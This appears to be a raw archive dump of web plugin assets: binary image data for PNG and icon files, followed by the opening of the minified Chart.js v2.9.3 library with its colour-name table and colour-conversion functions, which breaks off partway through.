­dÒ@n¸"ÿ×8ÇoýïG#›/\#·1®ñ_dQð¶Ü<1Õ>Hʾò„¸¡åT>ÀØ;˜»Ü¥ÈÐõ]t„0B:ð^@àrã#SOwÕr„¿;Œ+¥+K½æ ;BBq(a0\¸4°/~/¸Ëý 0;³£*—7Û<»ß7âho›{.!@¹_žðÅkÄ®õ¶Ûâ¸Ã[`#aÏößÂ…ˆÏY.ã–¶5zcþ #€8³ õ­€Ì¿§§?÷ìW¾JpS öQÁÅhû„­Gk¼çpkõ´>hæ”j ˜ðhÀ'|c}cöÚ~DÇ%~a!Ý÷[µ0 Ûvøi˜^H[ kAEbÄ$í7~Øw\& |á·W]øg=¨G›µœÅtrQ à·j€@H¨8Q6ðƒ@0@i‹á6ep†O€P˜…â·p,°€n@g¦A FÑ‚‰ö‚Å“oZèIz¨n¡4pÇ/ t‡¶pØIJ  M§b$¸I,°p‚À‡ÆÃO`l-PA·I]°›Hk2ðDije‰ ÔaP“0 jÖ r¹4 p'`ð`‹k!ù, ©ºÿ@pH,ȤrÉl 9ΨtJ­Z¯X#4Ëíz¿`ç6L.›ÏË1zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰nŠŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾Ÿ¿ÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝ¢)Þáâãäåæçèéêëìíîƒ*ññïôõö÷øùúûüýþÿ H° Áƒ*\È°¡Ã‡#JœH±¢Å‹3jÜȱ£Ç ¢Ð4BŽ äS‰ćZ'HhÀJgÜ,""Ö‚4*v J´¨Ñ£H“*]Ê´©Ó§Cì#µªÕ«Xí(Èʵ«×†¾ŠK¶¬Ù¬%ðØ!ù,™ÈÿH° Áƒ*\È°¡A „Ì(sƒÃ‹3jÜȱ#A@FèÌ)Š’5<ª\ɲ%Ç3êPI“&š2.sêܹ’‹™3kÖ¤³€§Ñ£H NÐS§©Ð§Kš$JÕ¥‘užjÝRµ«×ŒGÈ`Õú´Nš¯hÓ|B¶íœj㪽êV« ¹x½2ÉZWh y'·/Í+)+Þ£°á9W&,Fë&ÀCvDàÙøñaÉ“«ú„ &;v©ðáFggÏA‡Nê#Å 3¸s›båIÎמ#ÏNªŠîã¸Sìp ü±ðáF-AN=K–Í ?‡®ó„êà qÿa™½ïvî.…Ü|‰òŽµËFÏröàÑ„XY¾îyú*Ia~Ƚðñ™7€2 Ç R…Jý¹õƒ}±„ÇmÁ€G¶u!†)°!‡º]×QˆdH"Fi@q"Šf@RŠ ú·à‹•ÐÇAñŽ°ÅÆ£G$ÌH#pÄ¢V.Ù ÷©[ NæháŽR^Ô€’(‚ÃFO>e— Õ`…•ºÍ@¦–"r‰fCH°™Û *bT¦PgΙP ¦€É!6d´gM}ú‰Ðƒ bç  g‹r*º ŽÚé‰zN e¥–&t‚vâ&B§E&ªA> a :ÿtèg«fD@!¥š‘` Í:’ªµ$E®f@ k‘F{3äjE½" ¬²5‘B©PÀÅP Ò‚J­A1óû©D€™Òhć1È$ôІH„¹æFtîỷüp£Geä‹â SØ+BM;í~ëADÏQñû Y,'< ‰oýØ|2&GT á / ³_|Ø…¨ð´A .{…° ¾=mþù¶'ò…âqƒÎøñáÄg€ÀÝv¶ãœf†ÍdVðn àùánIx?ă a¶€†,¤À VøCåæGlƒ×›Y!`ÁŒ¬`Rh‚Xh&t†×CšÌÿ|6ª„ é¢ùl'‚7±%+Ø‚—È9Ž ;|¢J0ƒ¥%ð‡SÜ çQhÑ# Aí¾h¿)’s` Â4†G|Ñeóœ 0G” z°"ñèÅÎéaw}äˆ1³2K¤G< ƒ£•¶3B x%IŽD ð!É–Dv’#nðAõFI68ñ”*aA&,i@LJ–*IƒDéÆBœ—,¡ŽvÇÎ@]À\I*QLó©€ÉÌI\`ÇA^O ¾‰¦K,€ĬÇC4µ©.”!ÎœAèÈ©“ s}+Òü°…ª±“'@âÌÊ–ÿˆÜàžHé‚|0ƒÌ©` >ø@«Â @\¨D'JÑŠZô¢ͨF7ÊÑ…îAAèÄ@Ò’šô¤(M©zP† s¢øP ‚šÚô¦8Í©NqJÓpj¡ØA vJÔ¢U1pÝ=Ašõ©Pé{ع§FõªEEA¬¢9!`õ«EÕÿpY«‚õ¬7}e2ÿ€Ö¶Þ4¨H& áÖºÒ„’ä‚Yë Ö-"™%Ø+_±º…›óƒmë¤Ìl ±g¢éÁB–¨c¨é_£ÙË^V§™EÁ/µ‰Ï~§4˜ª61à‚Ó.;YÀ×ÿîø'@kPÓ&( ‚Ó$ª)ü€ :H®r—ËÜæ:W¹øìYQ$ ØÍ®v·ËÝîf—“ ¯xÇKÞòš÷¼èM¯z×»hÀ—‚LÉ^ƒtA¥àE-j1‹4à­¯AXЃ(âÀn€¯ XGØÁ€[ø ÞÞz-0P¸ÂÆ0"aØôzÀ ±ŠŒˆ$ ·=qŠW¬â— °ðˆiLã/·'ž1iüæutñ—Ü´ŽºA S`²”¡ÛŒ‚ –²” [Œ²ÅZÖ²j-:|8ÌR¾%EÝ€ïÿÍK®¡D“Ða8k¹Â–h$Aa;k™ è~ d?/]^h ½dÿ j ¨„Ìh#¢ÞJ¦²\iK7Àët§iìƒD”¢Lµ…aáз!¨Á <0„& uF$À„U` B ÃíŸÊ ûØ €@iFû€º)@dpìj+@ e5ZÌè•4ÍþAÀ{5ÚÖN·œ¿’Å®Ô`×~®0"vðÒŒ~Ì„k(<'W};`w†§7†Á2‡±çü¦xyzX+5|Ð$€‡ö¢f8uàiH‚Fô¼‡WP¨ˆö¢±ƒ,ˆ{7ˆÁ2Àv“0{Š„‰I1ZqŠ7u&àž¨w ˜9 P.˜o29‹s7‹Ár'P‚ÕÖbYˆF¨8? Pa'\0Y:á‹GŒñ€OdF‡ÅEçŽD'ŽÕhŠå•Øwåµðƒê¥}ÛwçW_<°ag{X€€æÅZwz&†¶§wv¸^(T5š&ŸŸ:ÃîØý¼PVçÒ7}Ĺ©Œ¸Kª„¢FÓ¤fçâ*® Ý_KÞÿàÉtzÈøÿE¯Ì ­í$s%YX\$E[Iv~1ù}øÑ+£™'·ïÜ…^¯‡Ýnƒ-#vú˜Í©¢WÆa·ÃFŸ“ &“³wîþ%z3ö'óÉßvÒâoÊê\ùþ¾r÷–*rþB·Pe4O׆œäç¹x~DéÉa¹š’Šx<ÎsÄ 7ÐÈMüÝÑ@ÿLLbƒÃ`0„O>êÄþ–&Þ'¡2™˜œBÃ^?ŸÌh4ŠœHövˆ½ñÚ¼ýfGB¤¨Lž­kÄôÌ¿ô~2 %‘|C¿þŒ%£õ%š„ÑtFTn«åuö ¥©FpsàGx ݼ­úðÿÍÎòÌ–P®Ä¨§×`æ%›œ•,û%ØkZfƒ³ByÌ„evf¦ƒfð’PÔ(M•uk³‡­ÈjMj•Éôô ú¯öarjR(jØ–I¥2zkC!œ:ù)ÜôÐ(U™ÐkßY:*Ó¸„*#mÛ.Mèú¯‰X”¡—ƒP'#ÕÙe÷Üž:z Î Q&H¢¦ÍÔ£iÔí¬Eda"O½\{ïX'ÏjOùÓ8wº á¹0J‰…$V"m›’ѱÎv}†s_žÇ=]-~ùF^6ñy«øñõUyy{|d÷6óº·f?ª¾gêT%ÓÙ·pææàZ_^ò õ\\IqËXóO‹1üçmô^þŽÞU6ÚJì5ÛVö(“nE˜I2Ô7$Ö,'qä úß‘åÚD®þ&zW'©•HÌ…ÃÆ‘žn…k£S¨küóôsÒ[ÜIEND®B`‚images/controls.png000064400000002521147577714370010410 0ustar00‰PNG  IHDR D¤ŠÆ pHYs × ×B(›x²PLTEGpLDDUÿ½*DDUDDUDDUDDUDDUDDUDDUDDUÿ½(çÿçÿÿÖÿÖDDUÿÖDDUDDUDDUDDUDDUBDU*AUhIUADU¼SUÞXU!@VïZUæYU©PSðXQÿZQçYUÿZQÿZQÿZQACUèYUÿZQìYTÿZQúZRþZQèYUÿÖÿÖÿÖ¾ÉP¾ÉPÁÌP?>UÿÖÿÖž¦Q¿ÉP¾ÉPÿÖ€çÿð׉³ÈQ3äæ¾ÉPÌãA@U[ÃWIGSÿ¾*jÄVl^MCCUÿ¾(ABVABVÿ½(ÿÖçÿáª1ËåÿÆ)Êáÿ½*ºÉP5ȼÿ½(ÿâ…‘˜Ró¾2aÄVIGTÈÐCCUtÅUWÃWVÁWVRY^ÍWÿÙ‚¿ÊPC?UÓìçÿCAUæþO~VÒéÊ⯗nEEUÿÙ‚LnVÿ×V¿W]ÈWWÃW]ÃWâ¿z¹ŸqŽ~f9?WXÃW8@Vÿ:ÅjL²vFÿ}G?BVÿ{HBCU³›oÌ®uÿ}G?BU¾ÉPûÓ€ÿÙ‚z\NlÄVZPþ˜;¤_NŽfKÿ{Hÿ‰Bÿ™;ÿ™;ü—;ÿyFÿ™;ÿ˜:¾ÉPÿ–YÿׂÿÖÿÖÿuCÿÆnµÈQÿ×ÿÝ…ÿÒ~ÿ™;ÿ™;ÿ™;ÿ™;ÿ™;ÿ„Dÿ™;ÿ˜;¿ÉPÿÖDDUÿZQÿÖ€ÿÆK×Ù•¾ÉPîYTþZQæô¼ÉPwÅUCCU¿ÊPÿ×ÿÙ‚ÿ{HBBU„SÃ¥kÿØ‚ÿÂ5dYNÿÅGÛJÿÔq¬ˆ=Á¦sÀËPÙÄWÿÆIåô×ÔŒÓàåôI_UDBUÞ¼yV¼WuÅU»ÉPû—;ÿ‰Aÿœ>ÿ™:ÿƒMÿ”Lÿ™;ÿÃuÿÕÿØÿªNÿ³Yÿ؃ÿÏ|ÿ¼dÿŠQÿׂôŒþ¬tRNSVI þIŽÚœ¼ù ÂIùnú{ê<2æÙáÙEýôìP­ ÂþÁà  =õ;kT¾,©=ö¤á=dõŒ3Ž&>mŽöŽUúJ?ë,> JõGû7ÅÉŽúUöâ÷_+ðwTÂÀŒ { ¹ÈŒþ§üù3òÞæ FdF9‘~RšíþÑ š(ö(þtþüø/ïäýbGto”êé#Ër–'õûð,ï222r[܇¼IDAT8Ëc` ¨©hëèiàQ ¤©ª«¥,‡UŽ™]Vqݺ-›å¥%Ø13‡”HŒ¤8à"¬€ ‰éÍIËV®Z1¡·êšÉK—Ol¬‡qEYÑ@e]ïí×öÔVƒy¢ b,h@½ëêõû·öô¨ƒyb Bœh ¡ʃ»wnöµyBXÜ0mñ㇞LÅíÈ%Óç=]4s.šhûŒÕó»«J!œYkæ,D×–²iÓ•Ë%Å΂5³;á2l à±sÓ¶íE NS˽ŽŠ¼h/66áµ °wß  ‚Kç/Ù;v4ï^sñøþ#ÇíX+Ì Â¦ ²RcsËËv­Ùu`÷уþîÞ"0›L¬Bââ“€¬ðäüÂ5`pØ3áH#cK;7ç( ËWp lð Æ |üpÜLä)$ @߀€C³5kÖƒÁ©0¬ Ì­m7‚À™“‘®8âÓþôÖ­[Ï Åá~é¼@–€K df9“ñ¢u´oe õIIEND®B`‚images/mic.ico000064400000002176147577714370007311 0ustar00 h(  ÿÿÿžÿÿÿöÿÿÿöÿÿÿöÿÿÿöÿÿÿöÿÿÿöÿÿÿ¦ÿÿÿÿÿÿ:ÿÿÿhÿÿÿÿÿÿÿÿÿÿÿnÿÿÿ:ÿÿÿÿÿÿÿÿÿlÿÿÿÿÿÿÿÿÿÿÿtÿÿÿÿÿÿ@ÿÿÿÞÿÿÿòÿÿÿ¾ÿÿÿ¾ÿÿÿðÿÿÿâÿÿÿFÿÿÿ@ÿÿÿøÿÿÿŠÿÿÿ ÿÿÿÿÿÿÿÿÿ ÿÿÿ†ÿÿÿøÿÿÿFÿÿÿÿÿÿÞÿÿÿŽÿÿÿ ÿÿÿ¢ÿÿÿúÿÿÿúÿÿÿ¨ÿÿÿÿÿÿ„ÿÿÿâÿÿÿÿÿÿHÿÿÿôÿÿÿÿÿÿ¢ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿªÿÿÿ ÿÿÿîÿÿÿPÿÿÿvÿÿÿÄÿÿÿÿÿÿøÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿüÿÿÿ ÿÿÿ¼ÿÿÿ~ÿÿÿxÿÿÿ°ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ¨ÿÿÿ€ÿÿÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÜÿÿÿÔÿÿÿÔÿÿÿÚÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÿÿ ÿÿÿÿÿÿÿžÿÿÿ$ÿÿÿ ÿÿÿšÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ¸ÿÿÿ0ÿÿÿ*ÿÿÿ´ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÀÿÿÿ2ÿÿÿ,ÿÿÿ¼ÿÿÿÿÿÿÿÿÿÿÿÿÿôÿÿÿ²ÿÿÿ ÿÿÿÿÿÿ®ÿÿÿøÿÿÿÿÿÿÿÿÿäÿÿÿ\ÿÿÿZÿÿÿàÿÿÿ˜ÿÿÿÿÿÿŠÿÿÿæÿÿÿèÿÿÿŽÿÿÿðþþøóÏä'èèèøùŸùŸùŸùŸùŸü?js/Chart.min.js000064400000521431147577714370007375 0ustar00/*! * Chart.js v2.9.3 * https://www.chartjs.org * (c) 2019 Chart.js Contributors * Released under the MIT License */ "use strict"; !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e(function(){try{return require("moment")}catch(t){}}()):"function"==typeof define&&define.amd?define(["require"],(function(t){return e(function(){try{return t("moment")}catch(t){}}())})):(t=t||self).Chart=e(t.moment)}(this,(function(t){"use strict";t=t&&t.hasOwnProperty("default")?t.default:t;var e={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]},n=function(t,e){return t(e={exports:{}},e.exports),e.exports}((function(t){var n={};for(var i in e)e.hasOwnProperty(i)&&(n[e[i]]=i);var a=t.exports={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channels:3,labels:"hsv"},hwb:{channels:3,labels:"hwb"},cmyk:{channels:4,labels:"cmyk"},xyz:{channels:3,labels:"xyz"},lab:{channels:3,labels:"lab"},lch:{channels:3,labels:"lch"},hex:{channels:1,labels:["hex"]},keyword:{channels:1,labels:["keyword"]},ansi16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:["h","c","g"]},apple:{channels:3,labels:["r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};for(var r in a)if(a.hasOwnProperty(r)){if(!("channels"in a[r]))throw new Error("missing channels property: "+r);if(!("labels"in a[r]))throw new Error("missing channel labels property: "+r);if(a[r].labels.length!==a[r].channels)throw new Error("channel and label counts mismatch: "+r);var o=a[r].channels,s=a[r].labels;delete a[r].channels,delete a[r].labels,Object.defineProperty(a[r],"channels",{value:o}),Object.defineProperty(a[r],"labels",{value:s})}a.rgb.hsl=function(t){var e,n,i=t[0]/255,a=t[1]/255,r=t[2]/255,o=Math.min(i,a,r),s=Math.max(i,a,r),l=s-o;return s===o?e=0:i===s?e=(a-r)/l:a===s?e=2+(r-i)/l:r===s&&(e=4+(i-a)/l),(e=Math.min(60*e,360))<0&&(e+=360),n=(o+s)/2,[e,100*(s===o?0:n<=.5?l/(s+o):l/(2-s-o)),100*n]},a.rgb.hsv=function(t){var e,n,i,a,r,o=t[0]/255,s=t[1]/255,l=t[2]/255,u=Math.max(o,s,l),d=u-Math.min(o,s,l),h=function(t){return(u-t)/6/d+.5};return 0===d?a=r=0:(r=d/u,e=h(o),n=h(s),i=h(l),o===u?a=i-n:s===u?a=1/3+e-i:l===u&&(a=2/3+n-e),a<0?a+=1:a>1&&(a-=1)),[360*a,100*r,100*u]},a.rgb.hwb=function(t){var e=t[0],n=t[1],i=t[2];return[a.rgb.hsl(t)[0],100*(1/255*Math.min(e,Math.min(n,i))),100*(i=1-1/255*Math.max(e,Math.max(n,i)))]},a.rgb.cmyk=function(t){var e,n=t[0]/255,i=t[1]/255,a=t[2]/255;return[100*((1-n-(e=Math.min(1-n,1-i,1-a)))/(1-e)||0),100*((1-i-e)/(1-e)||0),100*((1-a-e)/(1-e)||0),100*e]},a.rgb.keyword=function(t){var i=n[t];if(i)return i;var a,r,o,s=1/0;for(var l in e)if(e.hasOwnProperty(l)){var u=e[l],d=(r=t,o=u,Math.pow(r[0]-o[0],2)+Math.pow(r[1]-o[1],2)+Math.pow(r[2]-o[2],2));d.04045?Math.pow((e+.055)/1.055,2.4):e/12.92)+.3576*(n=n>.04045?Math.pow((n+.055)/1.055,2.4):n/12.92)+.1805*(i=i>.04045?Math.pow((i+.055)/1.055,2.4):i/12.92)),100*(.2126*e+.7152*n+.0722*i),100*(.0193*e+.1192*n+.9505*i)]},a.rgb.lab=function(t){var e=a.rgb.xyz(t),n=e[0],i=e[1],r=e[2];return i/=100,r/=108.883,n=(n/=95.047)>.008856?Math.pow(n,1/3):7.787*n+16/116,[116*(i=i>.008856?Math.pow(i,1/3):7.787*i+16/116)-16,500*(n-i),200*(i-(r=r>.008856?Math.pow(r,1/3):7.787*r+16/116))]},a.hsl.rgb=function(t){var e,n,i,a,r,o=t[0]/360,s=t[1]/100,l=t[2]/100;if(0===s)return[r=255*l,r,r];e=2*l-(n=l<.5?l*(1+s):l+s-l*s),a=[0,0,0];for(var u=0;u<3;u++)(i=o+1/3*-(u-1))<0&&i++,i>1&&i--,r=6*i<1?e+6*(n-e)*i:2*i<1?n:3*i<2?e+(n-e)*(2/3-i)*6:e,a[u]=255*r;return a},a.hsl.hsv=function(t){var e=t[0],n=t[1]/100,i=t[2]/100,a=n,r=Math.max(i,.01);return n*=(i*=2)<=1?i:2-i,a*=r<=1?r:2-r,[e,100*(0===i?2*a/(r+a):2*n/(i+n)),100*((i+n)/2)]},a.hsv.rgb=function(t){var e=t[0]/60,n=t[1]/100,i=t[2]/100,a=Math.floor(e)%6,r=e-Math.floor(e),o=255*i*(1-n),s=255*i*(1-n*r),l=255*i*(1-n*(1-r));switch(i*=255,a){case 0:return[i,l,o];case 1:return[s,i,o];case 2:return[o,i,l];case 3:return[o,s,i];case 4:return[l,o,i];case 5:return[i,o,s]}},a.hsv.hsl=function(t){var e,n,i,a=t[0],r=t[1]/100,o=t[2]/100,s=Math.max(o,.01);return i=(2-r)*o,n=r*s,[a,100*(n=(n/=(e=(2-r)*s)<=1?e:2-e)||0),100*(i/=2)]},a.hwb.rgb=function(t){var e,n,i,a,r,o,s,l=t[0]/360,u=t[1]/100,d=t[2]/100,h=u+d;switch(h>1&&(u/=h,d/=h),i=6*l-(e=Math.floor(6*l)),0!=(1&e)&&(i=1-i),a=u+i*((n=1-d)-u),e){default:case 6:case 0:r=n,o=a,s=u;break;case 1:r=a,o=n,s=u;break;case 2:r=u,o=n,s=a;break;case 3:r=u,o=a,s=n;break;case 4:r=a,o=u,s=n;break;case 5:r=n,o=u,s=a}return[255*r,255*o,255*s]},a.cmyk.rgb=function(t){var e=t[0]/100,n=t[1]/100,i=t[2]/100,a=t[3]/100;return[255*(1-Math.min(1,e*(1-a)+a)),255*(1-Math.min(1,n*(1-a)+a)),255*(1-Math.min(1,i*(1-a)+a))]},a.xyz.rgb=function(t){var e,n,i,a=t[0]/100,r=t[1]/100,o=t[2]/100;return n=-.9689*a+1.8758*r+.0415*o,i=.0557*a+-.204*r+1.057*o,e=(e=3.2406*a+-1.5372*r+-.4986*o)>.0031308?1.055*Math.pow(e,1/2.4)-.055:12.92*e,n=n>.0031308?1.055*Math.pow(n,1/2.4)-.055:12.92*n,i=i>.0031308?1.055*Math.pow(i,1/2.4)-.055:12.92*i,[255*(e=Math.min(Math.max(0,e),1)),255*(n=Math.min(Math.max(0,n),1)),255*(i=Math.min(Math.max(0,i),1))]},a.xyz.lab=function(t){var e=t[0],n=t[1],i=t[2];return n/=100,i/=108.883,e=(e/=95.047)>.008856?Math.pow(e,1/3):7.787*e+16/116,[116*(n=n>.008856?Math.pow(n,1/3):7.787*n+16/116)-16,500*(e-n),200*(n-(i=i>.008856?Math.pow(i,1/3):7.787*i+16/116))]},a.lab.xyz=function(t){var e,n,i,a=t[0];e=t[1]/500+(n=(a+16)/116),i=n-t[2]/200;var r=Math.pow(n,3),o=Math.pow(e,3),s=Math.pow(i,3);return n=r>.008856?r:(n-16/116)/7.787,e=o>.008856?o:(e-16/116)/7.787,i=s>.008856?s:(i-16/116)/7.787,[e*=95.047,n*=100,i*=108.883]},a.lab.lch=function(t){var e,n=t[0],i=t[1],a=t[2];return(e=360*Math.atan2(a,i)/2/Math.PI)<0&&(e+=360),[n,Math.sqrt(i*i+a*a),e]},a.lch.lab=function(t){var e,n=t[0],i=t[1];return e=t[2]/360*2*Math.PI,[n,i*Math.cos(e),i*Math.sin(e)]},a.rgb.ansi16=function(t){var e=t[0],n=t[1],i=t[2],r=1 in arguments?arguments[1]:a.rgb.hsv(t)[2];if(0===(r=Math.round(r/50)))return 30;var o=30+(Math.round(i/255)<<2|Math.round(n/255)<<1|Math.round(e/255));return 2===r&&(o+=60),o},a.hsv.ansi16=function(t){return a.rgb.ansi16(a.hsv.rgb(t),t[2])},a.rgb.ansi256=function(t){var e=t[0],n=t[1],i=t[2];return e===n&&n===i?e<8?16:e>248?231:Math.round((e-8)/247*24)+232:16+36*Math.round(e/255*5)+6*Math.round(n/255*5)+Math.round(i/255*5)},a.ansi16.rgb=function(t){var e=t%10;if(0===e||7===e)return t>50&&(e+=3.5),[e=e/10.5*255,e,e];var n=.5*(1+~~(t>50));return[(1&e)*n*255,(e>>1&1)*n*255,(e>>2&1)*n*255]},a.ansi256.rgb=function(t){if(t>=232){var e=10*(t-232)+8;return[e,e,e]}var n;return t-=16,[Math.floor(t/36)/5*255,Math.floor((n=t%36)/6)/5*255,n%6/5*255]},a.rgb.hex=function(t){var e=(((255&Math.round(t[0]))<<16)+((255&Math.round(t[1]))<<8)+(255&Math.round(t[2]))).toString(16).toUpperCase();return"000000".substring(e.length)+e},a.hex.rgb=function(t){var e=t.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i);if(!e)return[0,0,0];var n=e[0];3===e[0].length&&(n=n.split("").map((function(t){return t+t})).join(""));var i=parseInt(n,16);return[i>>16&255,i>>8&255,255&i]},a.rgb.hcg=function(t){var e,n=t[0]/255,i=t[1]/255,a=t[2]/255,r=Math.max(Math.max(n,i),a),o=Math.min(Math.min(n,i),a),s=r-o;return e=s<=0?0:r===n?(i-a)/s%6:r===i?2+(a-n)/s:4+(n-i)/s+4,e/=6,[360*(e%=1),100*s,100*(s<1?o/(1-s):0)]},a.hsl.hcg=function(t){var e=t[1]/100,n=t[2]/100,i=1,a=0;return(i=n<.5?2*e*n:2*e*(1-n))<1&&(a=(n-.5*i)/(1-i)),[t[0],100*i,100*a]},a.hsv.hcg=function(t){var e=t[1]/100,n=t[2]/100,i=e*n,a=0;return i<1&&(a=(n-i)/(1-i)),[t[0],100*i,100*a]},a.hcg.rgb=function(t){var e=t[0]/360,n=t[1]/100,i=t[2]/100;if(0===n)return[255*i,255*i,255*i];var a,r=[0,0,0],o=e%1*6,s=o%1,l=1-s;switch(Math.floor(o)){case 0:r[0]=1,r[1]=s,r[2]=0;break;case 1:r[0]=l,r[1]=1,r[2]=0;break;case 2:r[0]=0,r[1]=1,r[2]=s;break;case 3:r[0]=0,r[1]=l,r[2]=1;break;case 4:r[0]=s,r[1]=0,r[2]=1;break;default:r[0]=1,r[1]=0,r[2]=l}return a=(1-n)*i,[255*(n*r[0]+a),255*(n*r[1]+a),255*(n*r[2]+a)]},a.hcg.hsv=function(t){var e=t[1]/100,n=e+t[2]/100*(1-e),i=0;return n>0&&(i=e/n),[t[0],100*i,100*n]},a.hcg.hsl=function(t){var e=t[1]/100,n=t[2]/100*(1-e)+.5*e,i=0;return n>0&&n<.5?i=e/(2*n):n>=.5&&n<1&&(i=e/(2*(1-n))),[t[0],100*i,100*n]},a.hcg.hwb=function(t){var e=t[1]/100,n=e+t[2]/100*(1-e);return[t[0],100*(n-e),100*(1-n)]},a.hwb.hcg=function(t){var e=t[1]/100,n=1-t[2]/100,i=n-e,a=0;return i<1&&(a=(n-i)/(1-i)),[t[0],100*i,100*a]},a.apple.rgb=function(t){return[t[0]/65535*255,t[1]/65535*255,t[2]/65535*255]},a.rgb.apple=function(t){return[t[0]/255*65535,t[1]/255*65535,t[2]/255*65535]},a.gray.rgb=function(t){return[t[0]/100*255,t[0]/100*255,t[0]/100*255]},a.gray.hsl=a.gray.hsv=function(t){return[0,0,t[0]]},a.gray.hwb=function(t){return[0,100,t[0]]},a.gray.cmyk=function(t){return[0,0,0,t[0]]},a.gray.lab=function(t){return[t[0],0,0]},a.gray.hex=function(t){var e=255&Math.round(t[0]/100*255),n=((e<<16)+(e<<8)+e).toString(16).toUpperCase();return"000000".substring(n.length)+n},a.rgb.gray=function(t){return[(t[0]+t[1]+t[2])/3/255*100]}}));n.rgb,n.hsl,n.hsv,n.hwb,n.cmyk,n.xyz,n.lab,n.lch,n.hex,n.keyword,n.ansi16,n.ansi256,n.hcg,n.apple,n.gray;function i(t){var e=function(){for(var t={},e=Object.keys(n),i=e.length,a=0;a1&&(e=Array.prototype.slice.call(arguments));var n=t(e);if("object"==typeof n)for(var i=n.length,a=0;a1&&(e=Array.prototype.slice.call(arguments)),t(e))};return"conversion"in t&&(e.conversion=t.conversion),e}(i)}))}));var s=o,l={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169]